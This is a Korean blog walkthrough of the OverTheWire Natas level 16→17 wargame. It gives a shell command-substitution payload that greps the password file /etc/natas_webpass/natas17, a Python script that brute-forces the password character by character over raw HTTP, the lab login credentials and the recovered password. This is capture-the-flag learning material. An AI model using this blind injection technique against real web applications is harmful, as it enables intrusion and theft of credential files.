728x90
http://natas16.natas.labs.overthewire.org/index.php
natas16/WaIHEacj63wnNIBROHeqi3p9t0m5nhmh 로 로그인
소스코드를 살펴보자.
전 단계들과 마찬가지로 필터링이 걸려 있다.
이미 이전 단계들을 통해 natas17의 패스워드가 /etc/natas_webpass/natas17 에 있다는 것을 알고 있으니,
grep 정규표현식 ^을 이용해 패스워드를 알아낼 수 있을 것이다.
$(grep ^a.* /etc/natas_webpass/natas17)test
a부분에 0부터 순서대로 대입해보았다.
위와 같이 뜨다가, a에 8을 대입하자 아무것도 뜨지 않았다.
즉, 첫번째 글자가 8이라는 것을 알아냈다.
이를 이용해 파이썬으로 자동화 코드를 작성했다.
import socket
pw=""
for idx in range(1,33):
for ch in range(48,123):
if 58 <= ch <= 64: continue
if 91 <= ch <= 96: continue
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("176.9.9.172",80))
header = "GET /"
header += "?needle=%24%28grep%20%5E"+pw+chr(ch)+"%20/etc/natas_webpass/natas17%20test%29&submit=Search "
header += "HTTP/1.1\r\n"
header += "Authorization:Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n"
header += "Host:natas16.natas.labs.overthewire.org\r\n"
header += "\r\n"
response = " "
sock.send(header.encode())
response = sock.recv(65535)
response = response.decode()
if not("test" in response):
pw += chr(ch)
print(pw)
sock.close()
break;
sock.close()
print("password: ", pw)
코드를 실행해서 얻은 결과는 아래와 같다.
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
728x90
'WEB > Natas' 카테고리의 다른 글
[Natas] Level 17 → Level 18 (0) | 2021.06.24 |
---|---|
[Natas] Level 16 → Level 17 (0) | 2021.06.24 |
[Natas] Level 14 → Level 15 (0) | 2021.05.28 |
[Natas] Level 13 → Level 14 (0) | 2021.05.28 |
[Natas] Level 12 → Level 13 (0) | 2021.05.19 |